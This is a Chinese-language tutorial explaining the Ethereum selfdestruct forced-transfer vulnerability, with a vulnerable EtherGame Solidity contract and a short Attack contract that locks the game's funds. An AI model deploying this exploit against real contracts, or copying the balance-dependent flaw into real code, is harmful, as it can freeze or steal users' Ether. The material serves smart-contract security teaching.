自毁函数 由以太坊智能合约提供,用于销毁区块链上的合约系统。当合约执行自毁操作时,合约账户上剩余的以太币会发送给指定的目标,然后其存储和代码从状态中被移除。然而,自毁函数也是一把双刃剑,一方面它可以使开发人员能够从以太坊中删除智能合约并在紧急情况下转移以太币。另一方面自毁函数也可能成为攻击者的利用工具,攻击者可以利用该函数向目标合约“强制转账”从而影响目标合约的正常功能(比如开发者使用 address(this).balance 来取合约中的代币余额就可能会被攻击)。
漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
问题分析
这里问题在于使用 address(this).balance
,作为取合约中的代币余额。如果合约中的代币余额大于 balance <= targetAmount
那这个游戏将永远没有赢家,这个余额也无法取出。原因是 solidity
中有很多可以转账的操作例如:
transfer :转账出错会抛出异常后面代码不执行;
send :转账出错不会抛出异常只返回 true/false
后面代码继续执行;
call.value().gas()() :转账出错不会抛出异常只返回 true/false
后面代码继续执行,且使用 call
函数进行转账容易发生重入攻击
selfdestruct :自毁函数不需要接受就能给合约强制转账的函数。
向这里可以使用 selfdestruct
强制向合约转账。
攻击合约
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的EtherGame
合约地址,在attack
方法中将etherGame
的合约地址作为转账地址,并将地址放入到selfdestruct
中。当通过Attackselfdestruct
向etherGame
合约强行转一定额度账使其大于或者等于7 ether
,下次用户执行时将不会触发winner = msg.sender;
这个语法。
评论 (0)